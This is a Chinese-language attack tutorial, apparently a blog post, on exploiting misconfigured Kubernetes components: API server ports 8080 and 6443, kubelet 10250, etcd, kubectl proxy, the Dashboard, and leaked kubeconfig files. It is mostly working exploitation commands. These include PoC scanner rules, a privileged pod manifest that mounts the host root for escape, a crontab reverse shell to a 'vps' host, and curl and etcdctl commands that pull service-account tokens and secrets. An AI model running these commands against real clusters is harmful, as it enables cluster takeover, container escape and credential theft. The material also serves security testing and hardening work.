Api server未授权访问
k8s的API Server 默认会开启两个端口:8080 和 6443。
如果运维人员配置不当,添加了—enable-skip-login选项,8080端口便可未授权访问
直接访问 8080 端口若返回可用的API 列表,则代表存在漏洞
Poc:
id: kubernetes-unauth
info:
name: kubernetes Unauth
author: mumu0215(https://github.com/mumu0215)
severity: high
rules:
r0:
request:
method: GET
path: /api/v1/nodes
expression: 'response.status == 200 && response.content_type.contains("application/json")
expression: r0()
漏洞利用:
Kubectl -s 172.16.16.130:8080 get pods
接着在本机上新建个yaml文件用于创建容器,并将节点的根目录挂载到容器的 /mnt 目录
apiVersion: v1
kind: Pod
metadata:
name: test
spec:
containers:
- image: nginx
name: test-container
volumeMounts:
- mountPath: /mnt
name: test-volume
volumes:
- name: test-volume
hostPath:
path: /
kubectl -s master的ip:8080 create -f test.yaml
执行命令:
旧:kubectl -s master的ip:8080 exec -it test /bin/sh
新:kubectl -s master的ip:8080 exec test -i -t – sh
接着可以写入反弹 shell 的定时任务或ssh公钥
echo -e "* * * * * root bash -i >& /dev/tcp/vps/4444 0>&1n" >> /mnt/etc/crontab
Api server 6443 匿名访问:
6443端口的利用要通过API Server的鉴权,直接访问会提示匿名用户鉴权失败
在实际情况中,一些集群由于鉴权配置不当,将”system:anonymous”用户绑定到”cluster-admin”用户组,从而使6443端口允许匿名用户以管理员权限向集群内部下发指令。
kubectl create clusterrolebinding system:anonymous--clusterrole=cluster-admin --user=system:anonymous
漏洞利用:
利用cdk工具通过”system:anonymous”匿名账号尝试登录
./cdk kcurl anonymous get "https://192.168.13.141:6443/api/v1/nodes"
创建特权容器:
./cdk_linux_amd64 kcurl anonymous post 'https://192.168.13.141:6443/api/v1/namespaces/default/pods?fieldManager=test-4444' '{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{},"name":"test-4444","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test-4444","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}n"},"name":"test-4444","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test-4444","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}'
连接该pod:
./kubectl --insecure-skip-tls-verify -s https://192.168.13.141:6443 --namespace=default exec -it test-4444 bash
/host挂载上去了 接下来就可以去逃逸
Kubelet未授权访问
Kubelet API 一般监听在2个端口:10250、10255。其中,10250端口是可读写的,10255是一个只读端口。
10250是 kubelet API 的 HTTPS 端口,在默认情况下,kubelet 监听的 10250 端口没有进行任何认证鉴权,导致通过这个端口可以对 kubelet 节点上运行的 pod 进行任何操作
开了鉴权的情况:
没开鉴权的情况:
Poc:
id: kubernetes-api-detect
info:
name: Kubernetes API Detection
author: notnotnotveg
severity: informative
requests:
- method: GET
path:
- "{{BaseURL}}/pods/"
- "{{BaseURL}}:10250/pods/"
- "{{BaseURL}}:10255/pods/"
matchers:
- type: word
words:
- "PodList"
part: body
漏洞利用:
获取pod列表:
curl -sk https://192.168.13.142:10250/runningpods/|python3 -m json.tool
在对应的容器里执行命令
curl -k https://192.168.13.142:10250/run/{namespace}/{podName}/{appName} -d "cmd=whoami"
如果挂载到集群内容器的token具有创建pod的权限,就可以通过token访问集群的api创建特权容器,然后通过特权容器逃逸到宿主机,从而拥有集群节点的权限
获取token:
curl -k -XPOST "https://192.168.13.142:10250/run/default/test-4444/test-4444" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"
连接apiserver:
kubectl --insecure-skip-tls-verify=true --server="https://192.168.13.141:6443" --token="eyJh...填token" get pods
之后和apiserver未授权访问的利用方式一样,创建特权容器,挂载目录逃逸
Etcd未授权访问
etcd组件默认监听2379端口:默认通过证书认证,主要存放节点的信息,如一些token和证书。
kubernetes的master会自动安装etcd v3(注意版本)用来存储数据,如果管理员进行了错误的配置,导致etcd未授权访问的情况,那么攻击者就可以从etcd中拿到kubernetes的认证鉴权token,从而接管集群。
poc:
id: etcd-unauth
info:
name: ETCD Unauth
author: j4ckzh0u(https://github.com/j4ckzh0u)
severity: high
set:
r1: randomLowercase(32)
r2: randomLowercase(32)
r3: randomLowercase(32)
rules:
r0:
request:
method: PUT
path: /v2/keys/{{r1}}?dir=true
expression: response.status == 201
r1:
request:
method: PUT
path: /v2/keys/{{r1}}/{{r2}}?prevExist=false
headers:
application/x-www-form-urlencoded :
body: value={{r3}}
expression: response.status == 201
r2:
request:
method: GET
path: /v2/keys/{{r1}}/{{r2}}?quorum=false&recursive=false&sorted=false
expression: response.status == 200 && response.body.bcontains(bytes(r3))
expression: r0() && r1() && r2()
探测是否存在未授权访问:
./etcdctl --endpoints=https://192.168.13.141:2379 get / --prefix --keys-only
默认都需要配合证书才能访问:(证书在master的/etc/kubernetes/pki/etcd/下)
export ETCDCTL_CERT=/root/ShareDir/share/peer.crt
export ETCDCTL_CACERT=/root/ShareDir/share/ca.crt
export ETCDCTL_KEY=/root/ShareDir/share/peer.key
查看k8s的secrets:
./etcdctl --endpoints=https://192.168.13.141:2379 get / --prefix --keys-only|grep /secrets/
读取service account token
./etcdctl --endpoints=https://192.168.13.141:2379 get / --prefix --keys-only|grep /secrets/kube-system/clusterrole
./etcdctl --endpoints=https://192.168.13.141:2379 get /registry/secrets/kube-system/clusterrole-aggregation-controller-token-mwqq9
之后就通过token访问API-Server,获取集群的权限:
./kubectl --insecure-skip-tls-verify -s https://192.168.13.141:6443 --token="eyJhb..." -n kube-system get pods
之后和apiserver未授权访问的利用方式一样,创建特权容器,挂载目录逃逸
(如果服务器启用了https,需要加上两个参数忽略证书校验 –insecure-transport –insecure-skip-tls-verify)
Kubectl Proxy
当运维人员需要某个环境暴露端口或者IP时,会用到Kubectl Proxy,通过Kubectl Proxy可以直接访问k8s集群
漏洞利用:
端口扫描master,扫到proxy端口
直接访问k8s集群
./kubectl -s http://192.168.13.141:8008 get pods -n kube-system
Kubernetes Dashboard未授权访问
dashboard是Kubernetes官方推出的控制Kubernetes的图形化界面.在Kubernetes配置不当导致dashboard未授权访问漏洞的情况下,通过dashboard可以控制整个集群。
漏洞利用:
访问即可:https://172.16.16.132:30444/#/login
通过点击 Skip 进⼊dashboard 默认是没有操作集群的权限的,因为 Kubernetes 使⽤RBAC(Role-based access control) 机制进⾏⾝份认证和权限管理,不同的 serviceaccount 拥有不同的集群权限。进⼊ dashboard 实际上使⽤的是 Kubernetes-dashboard 这个ServiceAccount,如果此时该 ServiceAccount 没有配置特殊的权限,是默认没有办法达到控制集群任意功能的程度的。如果为 Kubernetes-dashboard 绑定 cluster-admin 这个 ClusterRole,就可以拥有权限
创建pod:
执⾏命令
之后就可以通过挂载目录逃逸了
K8s Config文件泄露
Master搭好的时候 会提示配置k8s config文件
一般是export KUBECONFIG=/etc/kubernetes/admin.conf
或mkdir -p $HOME/.kube
sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config
sudo chown $(id -u):$(id -g) $HOME/.kube/config
这个config文件如果发生泄露,就可以用该文件操作集群,从而接管所有容器。
漏洞利用:
Webshell、github泄露等方式获得conf文件:
利用conf连接master:
./kubectl -s https://192.168.13.141:6443 --insecure-skip-tls-verify --kubeconfig /root/ShareDir/share/admin.conf -n kube-system get pods
之后便可以create -f创建特权容器进行逃逸
如有侵权,请联系删除
好文推荐